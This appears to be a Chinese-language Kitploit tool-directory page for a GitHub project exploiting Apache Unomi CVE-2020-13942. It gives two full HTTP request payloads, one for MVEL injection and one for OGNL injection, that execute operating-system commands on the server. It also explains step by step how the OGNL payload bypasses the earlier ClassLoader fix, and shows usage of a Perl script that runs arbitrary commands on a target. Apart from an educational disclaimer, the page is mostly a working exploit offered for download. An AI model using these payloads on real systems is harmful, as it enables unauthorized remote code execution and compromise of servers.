Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
apche_unomi_rce — Apache Unomi CVE-2020-13942:远程代码执行漏洞 | Kitploit
工具/GitHubGitHub/dev-team-12x/apche_unomi_rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubdev-team-12x/apche_unomi_rce

apche_unomi_rce

Apache Unomi CVE-2020-13942:远程代码执行漏洞

查看仓库
5年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-13942

关于该漏洞的原始博客文章: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

存在两个RCE向量:通过MVEL注入和通过OGNL注入。两个向量的攻击目标代码不同,但载荷看起来相对类似。 之前的CVE修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制OGNL表达式的执行,但完全忽略了MVEL。CVE-2020-13942绕过了1.5.1版本所做的修复。

使用BurpSuite或curl向Unomi服务器暴露的context.js\json发送以下HTTP请求,即可获得RCE。根据你的目标URL和操作系统命令修改Host和Content-length。 两个POC的响应中可能会出现 HTTP/1.1 400 Header Folding,这意味着载荷中的 \r\n 被搞乱了,请尝试重新复制粘贴一次。

1) MVEL POC

HTTP请求

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

2) OGNL POC

OGNL POC绕过了1.5.1版本引入的ClassLoader限制。利用Java反射API,可以在不触发限制OGNL表达式评估的ClassLoader.loadClass方法的情况下创建对象。

OGNL载荷表达式分解:

  1. 第一个表达式 #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") 创建一个java.lang.Runtime类对象,其中#this是上下文对象的引用。
  2. 第二个表达式 #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] 通过反射获取Runtime类的方法列表,并从列表中选择getRuntime方法。表达式的 {^ #this.name.equals(\"getRuntime\")} 部分查找名为getRuntime的方法,并返回符合条件的方法列表;该列表的第一个且唯一的方法是getRuntime。
  3. 第三个表达式 #runtimeobject = #runtimemethod.invoke(null,null) 调用getRuntime()方法并获取Runtime对象。
  4. 第四个表达式 (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) 获取Runtime类的方法,并从方法列表中检索带有单个String参数的Runtime.exec()方法。
  5. 最后一个表达式 #execmethod.invoke(#runtimeobject,\"gnome-calculator\") 使用指定的参数调用Runtime.exec()。

HTTP请求

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

使用Apache_Unomi_Perl

基本用法:

root@kitploit:~
  ./apache_unomi.pl [选项]

选项:

./apache_unomi.pl [目标:端口] [命令] [(方法1) - mevel| (方法2) - ognl]

[+]用法:

./apache_unomi.pl http://127.0.0.1:8181 whoami 1
 

免责声明

本页面提供的所有信息仅供教育目的。本网站上的信息仅应用于增强您计算机系统的安全性,不得用于发起恶意或破坏性攻击。

您不应滥用此信息来获取对计算机系统的未经授权访问。同时请注意,未经所有者书面许可,对不属于您自己的计算机进行黑客攻击尝试是违法的。

对于因使用本网站提供的信息而造成的任何直接或间接损害,我不承担任何责任。

下载工具